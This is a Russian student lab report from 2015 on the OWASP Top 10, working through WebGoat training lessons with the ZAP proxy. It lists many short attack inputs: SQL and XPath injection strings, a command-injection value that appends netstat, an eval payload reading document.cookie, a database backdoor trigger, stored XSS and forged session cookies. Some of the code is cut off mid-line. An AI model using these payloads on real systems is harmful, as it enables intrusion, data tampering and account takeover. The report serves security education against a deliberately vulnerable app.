

Проект OWASP WebGoat

Агафонова Оксана

9 июня 2015 г.

Содержание

1	Цель работы	3
2	Ход работы	3
2.1	Веб-уязвимости согласно рейтингу OWASP	3
2.2	Практическое задание	3
3	Выводы	9

1 Цель работы

Изучить описание деятельности самых распространенных веб-уязвимостей согласно рейтингу OWASP.

2 Ход работы

2.1 Веб-уязвимости согласно рейтингу OWASP

Open Web Application Security Project (OWASP) — это открытый проект обеспечения безопасности веб-приложений. Сообщество OWASP включает в себя корпорации, образовательные организации и частных лиц со всего мира. Сообщество работает над созданием статей, учебных пособий, документации, инструментов и технологий, находящихся в свободном доступе.

Участники проекта уже десять лет составляют список Топ-10 самых опасных уязвимостей в веб-приложениях:

- A1 Внедрение кода
- A2 Некорректная аутентификация и управление сессией
- A3 Межсайтовый скриптинг (XSS)
- A4 небезопасные прямые ссылки на объекты
- A5 небезопасная конфигурация
- A6 Утечка чувствительных данных
- A7 Отсутствие контроля доступа к функциональному уровню
- A8 Подделка межсайтовых запросов (CSRF)
- A9 Использование компонентов с известными уязвимостями
- A10 Невалидированные редиректы

2.2 Практическое задание

Запустить уязвимое приложение WebGoat. Запустить сканер безопасности ZAP. Запустить инструмент Mantra, настроить его для использования ZAP в качестве прокси-сервера

Недостатки контроля доступа

1. Bypass Bussines Layer Access.

Для выполнения данного задания нужно включить прокси и авторизоваться за пользователя имеющего права удаления. Используя прокси просмотреть параметры запроса для удаления.

Затем для пользователя, не имеющего указанные права перехватить пакет и передать в качестве параметра нужную операцию.

```
employee_id=105&action=DeleteProfile
```

2. Bypass Data Layer Access

В данном примере необходимо перехватить пакет и подменить в нем id запрашиваемого пользователя.

```
employee_id=104&action=ViewProfile
```

Безопасность AJAX

1. Dom based cros-site scripring

В данном примере можно наблюдать уязвимости, открывающиеся перед злоумышленником, если не экранировать входные данные.

Для защиты от данной уязвимости необходимо использовать функцию `escapeHTML()`.

2. Same origin Policy Protection.

Данная политика безопасности позволяет запускать скрипты только с того же домена.

3. Client Side Filtering.

Демонстрация уязвимости, связанной с тем, что данные фильтруются на клиентской стороне. Для избежания данной уязвимости, данные необходимо фильтровать еще до отправки.

Пример ответа на запрос:

```
<table align='center' cellspacing='0' width='90%' border='1' cellpadding='0'><tr><th>First Name</th><th>Last Name</th><th>SSN</th><th>Salary</th></tr><tr id='101'><td>101</td><td>Larry</td><td>Stooge</td><td>386-09-5451</td><td>55000</td></tr><tr id='102'><td>102</td><td>Moe</td><td>Stooge</td><td>936-18-4524</td><td>140000</td></tr><tr id='103'><td>103</td><td>Curly</td><td>Stooge</td><td>961-08-0047</td><td>50000</td></tr><tr id='104'><td>104</td><td>Eric</td><td>Walker</td><td>445-66-5565</td><td>13000</td></tr><tr id='105'><td>105</td><td>Tom</td><td>Cat</td><td>792-14-6364</td><td>80000</td></tr><tr id='106'><td>106</td><td>Jerry</td><td>Mouse</td><td>858-55-4452</td><td>70000</td></tr><tr id='107'><td>107</td><td>David</td><td>Giambi</td><td>439-20-9405</td><td>100000</td></tr><tr id='108'><td>108</td><td>Bruce</td><td>McGuire</td><td>707-95-9482</td><td>110000</td></tr><tr id='109'><td>109</td><td>Sean</td><td>Livingston</td><td>136-55-1046</td><td>130000</td></tr><tr id='110'><td>110</td><td>Joanne</td><td>McDougal</td><td>789-54-2413</td><td>90000</td></tr>
```

```
<tr id='111'><td>111</td><td>John</td>
<td>Wayne</td><td>129-69-4572</td><td>200000</td></tr>
<tr id='112'><td>112</td><td>Neville</td>
<td>Bartholomew</td><td>111-111-1111</td><td>450000</td></tr></table>
```

Правильная фильтрация:

```
sb.append("/Employees/Employee/ [Managers/Manager/text()=' " + userId + "']/UserID |
sb.append("/Employees/Employee/ [Managers/Manager/text()=' " + userId + "']/FirstName
sb.append("/Employees/Employee/ [Managers/Manager/text()=' " + userId + "']/LastName
sb.append("/Employees/Employee/ [Managers/Manager/text()=' " + userId + "']/SSN | ");
sb.append("/Employees/Employee/ [Managers/Manager/text()=' " + userId + "']/Salary ")
```

4. DOM injection

Для этого в документ необходимо добавить строку: `document.forms[0].SUBMIT.disabled=false;`

5. XML Injection

При посылке запроса необходимо добавить:

```
<root>
<reward>WebGoat Mug 20 Pts</reward>
<reward>WebGoat t-shirt 50 Pts</reward>
<reward>WebGoat Secure Kettle 30 Pts</reward>
<reward>WebGoat Core Duo Laptop 2000 Pts</reward>
<reward>WebGoat Hawaii Cruise 3000 Pts</reward>
</root>
```

6. JSON Injection

При посылке необходимо изменить ответ на:

```
{
  "From": "Boston",
  "To": "Seattle",
  "flights": [
    {"stops": "0", "transit" : "N/A", "price": "$20"},
    {"stops": "2", "transit" : "Newark,Chicago", "price": "$300"}
  ]
}
```

7. Slient tansactions attack

Данный урок посвящен тому, что нет необходимости делать проверки на клиентской стороне. Находим клиентскую функцию для отправки, вызываем ее.

```
submitData(555, 1000000)
```

8. Insecure client sstorage

Очередное!

Снимаем флажки readonly, ставим карточку GOLD, обнуляем стоимость покупок.

9. Dangerous use of eval

```
')%3Balert(document.cookie%2B'something
```

Недостатки аутентификации

1. Password strength

На сервисе howsecureismypassword.net можно узнать примерное время взлома пароля. Вместе длиной пароля очень быстро растёт время его подбора.

2. Forgot password

Сложность восстановления пароля должна быть сопоставима с подбором пароля, иначе это бессмысленно.

3. Multi level login 1

Перехватываем пакет, выставив `hiddentan=1`.

4. Multi level login 2

Авторизуемся за Джо, вводим его `tan`, перехватываем сообщение и в запросе указываем Jane. (!!!!)

Results:

Username: admin

Color: green

Password: 2275\$starBo0rn3

Переполнение буфера

Перехватываем пакет, в поле `goomno` вбиваем >4086 символов. Идем до конца. После регистрации посматриваем скрытые поля. Выбираем одного из них. Заходим от его имени для завершения.

```
<input type="HIDDEN" value="Hamilton" name="a"></input>
```

```
<input type="HIDDEN" value="Lewis" name="b"></input>
```

```
<input type="HIDDEN" value="9901" name="c"></input>
```

Качество кода

Запись в комментариях `admin:adminpw`, является логином и паролем администратора. (!!)

Многопоточность

1. Thread safety problem

При одновременном получении данных пользователя возможна утечка. Используя эту уязвимость можно получить чужие данные. Открываем два окна вводим имена пользователей. В некоторых ситуациях можем получить не свою информацию.

2. Shopping cart Concurrency flew

Открываем два окна, в одном делаем большую покупку, в другом - маленькую. Продолжаем дешевую покупку, обновляем большую. При подтверждении оплачиваем небольшую сумму, но получаем большую покупку.

Неправильная обработка ошибок

Перехватываем пакет, удаляем передаваемый параметр "пароль". Успешная авторизация!

Недостатки приводящие к осуществлению инъекций

1. Command injection

Перехватываем запрос, добавляем к имени файла строку:

```
%22%3B%20netstat%20-a
```

2. Numeric SQL injection

Перехватываем запрос. Модифицируем:

```
station=101or%201%3D1&SUBMIT=Go!
```

3. Log spoofing

Перехватываем запрос, меняем имя на следующее:

```
somename  
Admin succefully entered!
```

В результате, в логе создается видимость того, что админ авторизовался.

4. XPath Injection

К имени добавляем:

```
' or 1=1 or 'a'='a
```

При попытке получить данные на втором шаге получаем сообщение:

```
THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT
```

5. String sql injection

Вместо имени вводим `azaza' OR 'a' = 'a`. Получаем все возможные значения.

6. Modify Data with SQL INJECTION

Вместо имени вводим:

```
UPDATE salaries SET salary=1000000 WHERE userid='jsmith
```

Получаем на счету миллион.

7. Database backdoors

По такой же схеме можно добавлять и триггеры:

```
101; CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE
```

Отказ в обслуживании

1. ZipBomb

Создаем архив с файлом содержащим одинаковые символы. Такой файл обладает очень высоким коэф. сжатия. Посылаем. При распаковке требуется очень много места.

2. Denial of Service from Multiple Logins

Используем инъекцию для получения паролей. Вместо пароля пишем:

```
"dont_care' or '1' = '1"
```

Получаем таблицу:

```
101 jsnow passwd1
102 jdoe passwd2
103 jplane passwd3
104 jeff jeff
105 dave dave
```

Используем полученные результаты для авторизации. Из-за большого количества сессий получаем отказ в обслуживании.

Небезопасное сетевое взаимодействие

Перехватываем пакет. Извлекаем из аргумента password пароль. Меняем соединение на защищенное. Пароль недоступен, одно видны параметры соединения. TLS, текст закрыт.

Небезопасная конфигурация

Если знать адрес интерфейса администрирования, можно получить к нему доступ под собственными паролями.

Расположено по адресу WebGoat/conf.

Небезопасное хранилище

Есть возможность попробовать различные строки и увидеть особенности кодировки строк различными алгоритмами.

Исполнение злонамеренного кода

Если на сервере неправильно настроены директории для сканирования скриптов, можно загрузить собственный исполняемый файл, перейти на интересующую старницу и выполнить злонамеренный код.

Содержимое файла attack.jsp

```
<HTML>
<%
java.io.File file = new java.io.File("C:\\Users\\llama\\Desktop\\secure\\.extract\\webap
file.createNewFile();
%>
</HTML>
```


Подделка параметров

1. Bypass HTML Field Restrictions

Перехватываем сообщение. Меняем все поля. Добавляем disabledinput.

2. Exploit Hidden Fields

Перехватываем, меняем...

3. Exploit unchecked email

Отправляем сообщение типа:

```
<script>alert("Bad Stuff");</script>
```

Для отправки сообщения friend перехватываем сообщение меняем параметр "to" чтобы получилось:

```
gId=GMail+id&gPass=password&subject=Comment+for+WebGoat&to=webgoat.admin  
%40owasp.org&msg=%3Cscript%3Ealert(%22Bad+Stuff%22)%3B%3C%2Fscript%3E&SUBMIT=Send!
```

4. Bypass Client Side JavaScript Validation

Аналогично.

Недостатки управления сессией

1. Подделка сессии. Перехватываем два ключа.

```
webgoat 65432ubphcfx  
aspect 65432udfqtb
```

Эти ключи получаются добавлением к строке 65432 инвертированного имени со смещением букв +1. Для пользователя alice это 65432fdjmb.

Далее перехватываем пакеты, добавляем поле в заголовок Cookie AuthCookie=65432fdjmb

2. HiJack a session

3. Session fixation

В версии 6.0.1 не работает. Основная идея вынудить жертву пройти по ссылке, которая установит значение session id. Затем как в предыдущем случае использовать этот известный номер для авторизации от имени жертвы. В данной версии переход по ссылке ничего не дает.

3 Выводы

В результате данной работы были изучены основные уязвимости современных веб-приложений, а также основные возможности ZAP. Был изучен список доступных уязвимостей WEB goat. WebGoat предоставляет отличную классификацию уязвимостей. Используя эту классификацию можно методично проанализировать собственное приложение и по возможности исправить его недостатки.